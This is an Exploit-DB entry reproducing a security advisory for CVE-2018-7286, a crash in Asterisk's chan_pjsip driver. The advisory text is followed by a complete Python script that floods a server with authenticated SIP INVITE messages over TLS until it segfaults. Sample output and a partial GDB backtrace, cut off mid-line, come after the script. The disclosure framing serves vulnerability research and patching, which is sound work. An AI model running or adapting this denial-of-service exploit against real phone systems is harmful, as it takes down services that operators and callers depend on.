Exploit-DB #44181
Description: Asterisk chan_pjsip 15.2.0 - 'INVITE' Denial of Service
Type: dos
Platform: linux
Date: 2018-02-27
Author: EnableSecurity

Exploit:
'''
# Crash occurs when sending a repeated number of INVITE messages over TCP or TLS transport

- Authors:
    - Alfred Farrugia <alfred@enablesecurity.com>
    - Sandro Gauci <sandro@enablesecurity.com>
- Latest vulnerable version: Asterisk 15.2.0 running `chan_pjsip` installed with `--with-pjproject-bundled`
- References: AST-2018-005, CVE-2018-7286
- Enable Security Advisory: <https://github.com/EnableSecurity/advisories/tree/master/ES2018-04-asterisk-pjsip-tcp-segfault>
- Vendor Advisory: <http://downloads.asterisk.org/pub/security/AST-2018-005.html>
- Tested vulnerable versions: 15.2.0, 15.1.0, 15.0.0, 13.19.0, 13.11.2, 14.7.5
- Timeline:
    - Issue reported to vendor: 2018-01-24
    - Vendor patch made available to us: 2018-02-05
    - Vendor advisory published: 2018-02-21
    - Enable Security advisory: 2018-02-22

## Description

A crash occurs when a number of INVITE messages are sent over TCP or TLS and
then the connection is suddenly closed. This issue leads to a segmentation fault. 

## Impact

Abuse of this vulnerability leads to denial of service in Asterisk when
`chan_pjsip` is in use.

## How to reproduce the issue

The following script was used to reproduce the issue on a TLS connection:
'''

python
import md5
import re
import socket
import ssl
import uuid
from time import sleep

SERVER_IP = "127.0.0.1"
SERVER_PORT = 5061
USERNAME = "3000"
PASSWORD = "3000"
INVITE_USERNAME = "3000"

errno = 0
lasterrno = 0
while True:
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock = ssl.wrap_socket(sock,
                               ssl_version=ssl.PROTOCOL_TLSv1,
                               )

        sock.connect((SERVER_IP, SERVER_PORT))
        sock.settimeout(0.5)
        errno = 0
        callid = str(uuid.uuid4())
        for ix in range(10):
            sdpbody = ""

            msg = "INVITE sip:%s@%s:%i SIP/2.0\r\n" \
                "To: <sip:%s@%s:%i>\r\n" \
                "From: Test <sip:%s@%s:%s>\r\n" \
                "Call-ID: %s\r\n" \
                "CSeq: 2 INVITE\r\n" \
                "Via: SIP/2.0/TLS 172.17.0.1:10394;branch=z9hG4bK%s\r\n" \
                "Contact: <sip:%s@172.17.0.1>\r\n" \
                "Content-Type: application/sdp\r\n" \
                "{{AUTH}}" \
                "Content-Length: %i\r\n" \
                "\r\n" % (
                    INVITE_USERNAME, SERVER_IP, SERVER_PORT,
                    INVITE_USERNAME, SERVER_IP, SERVER_PORT,
                    USERNAME, SERVER_IP, SERVER_PORT,
                    callid, callid,
                    USERNAME, len(sdpbody)
                ) + \
                sdpbody

            sock.sendall(msg.replace("{{AUTH}}", ""))

            data = sock.recv(10240)
            # print(data)
            if data.startswith("SIP/2.0 401"):
                for line in data.split('\r\n'):
                    if line.startswith("WWW-Authenticate"):
                        content = line.split(':', 2)[1].strip()
                        realm = re.search(
                            "realm=\"([a-z]+)\"", content).group(1)
                        nonce = re.search(
                            "nonce=\"([a-z0-9\/]+)\"", content).group(1)
                        ha1 = md5.new(USERNAME + ":" + realm +
                                      ":" + PASSWORD).hexdigest()
                        uri = "sip:%s:%i" % (SERVER_IP, SERVER_PORT)
                        ha2 = md5.new("INVITE:" + uri).hexdigest()
                        r = md5.new(ha1 + ":" + nonce + ":" + ha2).hexdigest()

                        auth = "Authorization: Digest username=\"%s\"," % (USERNAME) + \
                            "realm=\"%s\"," % (realm) + \
                            "nonce=\"%s\"," % (nonce) + \
                            "uri=\"%s\"," % (uri) + \
                            "response=\"%s\"," % (r) + \
                            "algorithm=md5\r\n"
                        print(auth)

            sock.sendall(msg.replace("{{AUTH}}", auth))
            errno = 0
    except (socket.error, ssl.SSLEOFError), err:
        print(err)
        print("getting close!")
        sleep(2)
        errno += 1
    if errno >= 10:
        print("confirmed dead")
        break
    elif errno > lasterrno:
        lasterrno = errno
        continue

'''
The output from the tool should show the following:

```
> python test.py
Authorization: Digest username="3000",realm="asterisk",nonce="[PII_REDACTED]/07e2e34fbd45ed7f6b1bca0d2bde50ae",uri="sip:127.0.0.1:5061",response="a2b7e2bfa722730b64787664db474f2a",algorithm=md5

EOF occurred in violation of protocol (_ssl.c:590)
getting close!
[Errno 111] Connection refused
getting close!
[Errno 111] Connection refused
getting close!
[Errno 111] Connection refused
getting close!
[Errno 111] Connection refused
getting close!
[Errno 111] Connection refused
getting close!
[Errno 111] Connection refused
getting close!
[Errno 111] Connection refused
getting close!
[Errno 111] Connection refused
getting close!
[Errno 111] Connection refused
getting close!
confirmed dead
```

Notes:

- authentication may be required
- the destination SIP address should match a valid extension in the dialplan
- similar code to the above can be used to reproduce the issue on TCP transport


### GDB backtrace result

```
gdb --args /opt/asterisk/sbin/asterisk -fcvvv

Thread 25 "asterisk" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7ffff030a700 (LWP 133)]
ast_sip_failover_request (tdata=0x0) at res_pjsip.c:3956
3956            if (!tdata->dest_info.addr.count || (tdata->dest_info.cur_addr == tdata->dest_info.addr.count - 1)) {
(gdb) bt
#0  ast_sip_failover_request (tdata=0x0) at res_pjsip.c:3956
#1  0x00007ffff1a8dbb1 in check_request_status (inv=inv@entry=0x7fff9910bac8, e=0x7ffff0308ae0) at res_pjsip_